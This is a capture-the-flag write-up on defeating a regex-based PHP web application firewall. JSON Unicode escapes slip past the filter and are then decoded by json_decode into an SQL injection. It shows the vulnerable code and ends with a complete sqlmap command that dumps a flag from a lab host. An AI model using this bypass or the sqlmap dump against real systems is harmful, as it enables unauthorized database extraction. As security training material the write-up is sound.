Challenge Overview

This challenge presents a PHP application with a Web Application Firewall (WAF) that filters SQL injection attempts. The goal is to bypass the WAF and extract data from the database using SQL injection techniques.

Code Analysis

<?php error_reporting(0);
require 'config.php';

class db extends Connection {
    public function waf($s) {
        if (preg_match_all('/'. implode('|', array(
            '[' . preg_quote("(*<=>|'&-@") . ']',
            'select', 'and', 'or', 'if', 'by', 'from', 
            'where', 'as', 'is', 'in', 'not', 'having'
        )) . '/i', $s, $matches)) die(var_dump($matches[0]));
        return json_decode($s);
    }

    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $obj = $db->waf(file_get_contents('php://input'));
    $db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
    die(highlight_file(__FILE__, 1));
}
?>

Application Structure

The application consists of a PHP script that:

  1. Accepts POST requests with JSON data
  2. Applies a WAF filter to the input
  3. Executes a SQL query using the filtered input

Key Components

class db extends Connection {
    public function waf($s) {
        if (preg_match_all('/'. implode('|', array(
            '[' . preg_quote("(*<=>|'&-@") . ']',
            'select', 'and', 'or', 'if', 'by', 'from', 
            'where', 'as', 'is', 'in', 'not', 'having'
        )) . '/i', $s, $matches)) die(var_dump($matches[0]));
        return json_decode($s);
    }

    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

WAF Analysis

The WAF blocks the following:

  • Special characters: (*<=>|'&-@
  • SQL keywords: select, and, or, if, by, from, where, as, is, in, not, having

The vulnerable SQL query:

$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);

The key vulnerability lies in the WAF’s approach:

  1. The WAF filters the raw POST data as a string
  2. After filtering, it uses json_decode() to parse the JSON
  3. The SQL query uses the decoded value directly

This creates an opportunity for Unicode encoding bypass.

Unicode Encoding Bypass

Unicode escape sequences (like \u0027 for single quote) are:

  • Not detected by the regex-based WAF (they don’t match the literal characters)
  • Properly decoded by json_decode() into their actual characters
  • Executed as normal SQL syntax

Here’s a practical example showing how Unicode encoding is properly decoded by json_decode() and eventually bypass the WAF:

$ echo '{"user":"\u0077\u0061\u0066\u0020\u0062\u0079\u0070\u0061\u0073\u0073\u0065\u0064"}' | jq

{
  "user": "waf bypassed"
}

What happens:

  1. The WAF sees the raw string: \u0077\u0061\u0066\u0020\u0062\u0079\u0070\u0061\u0073\u0073\u0065\u0064
  2. The regex doesn’t match any blocked patterns (no literal “waf”, “bypassed”, etc.)
  3. json_decode() processes the Unicode escapes and converts them to: waf bypassed
  4. The actual SQL query receives the decoded string

This same principle applies to SQL injection payloads - blocked keywords and characters can be encoded as Unicode escapes to slip past the WAF.

The user parameter in the JSON payload is directly inserted into the SQL query:

SELECT note FROM notes WHERE assignee = '[USER_INPUT]'

Since the WAF blocks standard SQL injection characters and keywords, we need to:

  1. Encode blocked characters using Unicode escapes
  2. Use time-based injection technique (since direct output is not visible)

Example payload structure:

{"user":"sqliHere in unicode"}

Using sqlmap with Unicode tamper script:

$ sqlmap -u http://94.237.48.12:41288 --method POST --data '{"user":"1*"}' -H 'Content-Type: application/json' --batch --tamper=charunicodeescape.py --technique=T -D db_m8452 -T definitely_not_a_flag -C flag --dump

flag


written by 0xbara